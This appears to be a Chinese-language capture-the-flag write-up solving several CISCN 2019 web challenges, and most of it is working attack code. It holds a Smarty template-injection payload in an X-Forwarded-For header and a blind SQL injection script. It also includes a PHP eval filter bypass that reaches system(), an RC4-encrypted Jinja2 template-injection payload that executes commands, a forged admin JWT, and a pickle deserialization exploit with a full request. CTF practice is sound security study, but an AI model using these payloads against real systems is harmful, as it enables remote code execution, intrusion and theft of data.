[CISCN 2019华东南]Web11

Smarty SSTI

IP处存在SSTI漏洞
通过XFF字段控制IP即可

payload

1
X-Forwarded-For: {system('cat /flag > 1.txt')} 

[CISCN 2019华北Day2]Web1

空格被过滤,用()代替,布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import string
import requests
res=""
url="http://node4.anna.nssctf.cn:28824/index.php"
for i in range(1,60):
for j in string.printable:
sql='if(ascii(substr((select(flag)from(flag)),{0},1))={1},1,2)'.format(i,ord(j))
post={"id":sql}
result=requests.post(url=url,data=post)
if 'Hello' in result.text:
res+=j
print(res)
else:
continue

[CISCN 2019初赛]Love Math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if (!isset($_GET['c'])) {
show_source(__FILE__);
} else {
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n', '\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo ' . $content . ';');
}

代码接受GET传参c,保存在content中,并对参数长度进行了限制<80。
然后设置了一个黑名单,过滤了一些特殊字符,空格和/也给过滤了,所以cat /flag无门。
接下来提供了一个白名单,里面是一些数学函数,并提供了一个常用数学函数的链接,可以查到这些函数的用法。
都满足以上条件后,使用eval来执行传入的参数。
分析到这里,只能利用白名单中提供的函数来构造命令,用到的函数有:
base_convert():在任意进制之间转换数字
dechex():将十进制转换成十六进制
hex2bin():将十六进制转换成ascii字符

思路是:先利用dechex()将GET传入的十进制数转换成十六进制,再利用hex2bin()将得到的十六进制数转换成ascii字符串。又因为白名单里没有hex2bin()这个函数,所以需要利用base_convert()来将GET传入的十进制数转换成三十六进制(因为三十六进制中含有数字字母)构造出hex2bin,最后将分别传入的字符串拼接即可构造成功。
*Trick:十进制数37907361743转换成三十六进制之后正好就是hex2bin。
因为代码中对传入的参数c做了长度限制,但可以通过传入其它参数,在构造出来的语句中调用即可。
这里还涉及到一个知识点,PHP中可以将函数名保存在一个变量中,然后使用这个变量来替代函数名,例如:

1
2
$a = 'dechex';
echo $a(10); // a

利用以上知识点,尝试构造如下payload:

1
?c=$_GET[a]($_GET[b])&a=system&b=cat /flag

构造过程如下:

1
2
3
4
5
6
7
8
9
10
base_convert(37907361743, 10, 36);		=>		hex2bin
dechex(1598506324); => 5f474554
hex2bin('5f474554'); => _GET

($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]

综上:
$pi = base_convert(37907361743, 10, 36);
$pi = $pi(dechex(1598506324));
echo $pi; // _GET,即此时的$pi就是_GET

最终payload

1
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat%20/flag

[CISCN 2019华东南]Double Secret

目录扫描发现/secret
访问/secret?secret=1,返回d

再随便输一串/secret?secret=aaaaaa,让flask报错,在报错界面可以展开代码

alt text

首先判断参数是不是为空,如果是空的参数,则返回一段话,就是刚进页面看到的内容,如果传入了参数,那么就会进行加密,可以看到是RC4加密,而且还泄露了密钥,密钥就是HereIsTreasure,而且通过报错,了解到这是flask的模板,而且python的版本是2.7的,那么可以利用flask的模板注入,执行命令,只不过需要进行RC4加密。

找个jinja2的payload,用cyberchef加密一下就行

1
{{''.__class__.__mro__[2].__subclasses__()[239]('cat /flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

alt text

1
/secret?secret=%2E%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C3%9B%207%C3%9F%07%C2%B6A%C3%990%C3%A4%21%C2%8A%5E%C3%85%0D%C3%A2%17%C3%9B3%C2%93%C2%B6%C2%B0%3EW%C2%80R%C3%A2%C2%BEGx%22%C2%A4%2C%60%C2%968%06%C3%90%C2%A1%5EV%C2%B9%C2%87%11%C2%BFE6%19%03%C3%BBZ%C3%9Eu%C3%B3h%C2%97gL%2Ak%08%C3%9E%C2%9F%15%C2%BB%C2%B9%C2%AB%C3%8A%C3%BB%C2%8F%C3%AF%23I%C2%8C%C2%82%C3%BA%C3%BE%C3%94%2A%7B%C2%A9%C2%97A%C2%96%2BDR%C2%9C%C2%98W

[CISCN 2019华北Day1]Web2

先爆破jwt的密钥,使用c-jwt-crack,爆破出来密钥是”1Kun”

伪造成admin,替换cookie为eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

admin的个人中心给了一串hint:
\u8fd9\u7f51\u7ad9\u4e0d\u4ec5\u53ef\u4ee5\u4ee5\u8585\u7f8a\u6bdb\uff0c\u6211\u8fd8\u7559\u4e86\u4e2a\u540e\u95e8\uff0c\u5c31\u85cf\u5728\u006c\u0076\u0036\u91cc

解码得到:
这网站不仅可以以薅羊毛,我还留了个后门,就藏在lv6里

可以看到商品上有lv3,lv4这样的标签,并且有很多页,那么写个脚本来找一下有lv6标签的商品在哪

1
2
3
4
5
6
import requests
for i in range(1,1000):
url = 'http://node4.anna.nssctf.cn:28597/shop?page={0}'.format(i)
if 'lv6.png' in requests.get(url).text:
print(i)
break

发现在180页

但是价格很贵无法购买,抓个包看下,请求当中带有price和discount,改price不行,可以改discount,放包后跟随重定向到/b1g_m4mber,提示了源码下载地址/static/asd1f654e683wq/www.zip

代码审计,在Admin.py里发现pickle反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

exp.py

1
2
3
4
5
6
7
import pickle
import urllib.parse
class payload(object):
def __reduce__(self):
return (eval, ("__import__('os').popen('ls /').read()",))
a = pickle.dumps(payload(),protocol=0)
print(urllib.parse.quote(a))

完整请求包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /b1g_m4mber HTTP/1.1
Host: node4.anna.nssctf.cn:28800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 194
Origin: http://node4.anna.nssctf.cn:28800
Connection: close
Referer: http://node4.anna.nssctf.cn:28800/b1g_m4mber
Cookie: _xsrf=2|4ed46389|d439cd85dd5f6316d6c65df72b8df6ff|1746693931; JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
Upgrade-Insecure-Requests: 1
Priority: u=0, i

_xsrf=2%7C5550b044%7Ccfbd1e48c6dbb0dbcd428e3a30092532%7C1746693931&become=c__builtin__%0Aeval%0Ap0%0A%28V__import__%28%27os%27%29.popen%28%27cat%20/flag.txt%27%29.read%28%29%0Ap1%0Atp2%0ARp3%0A.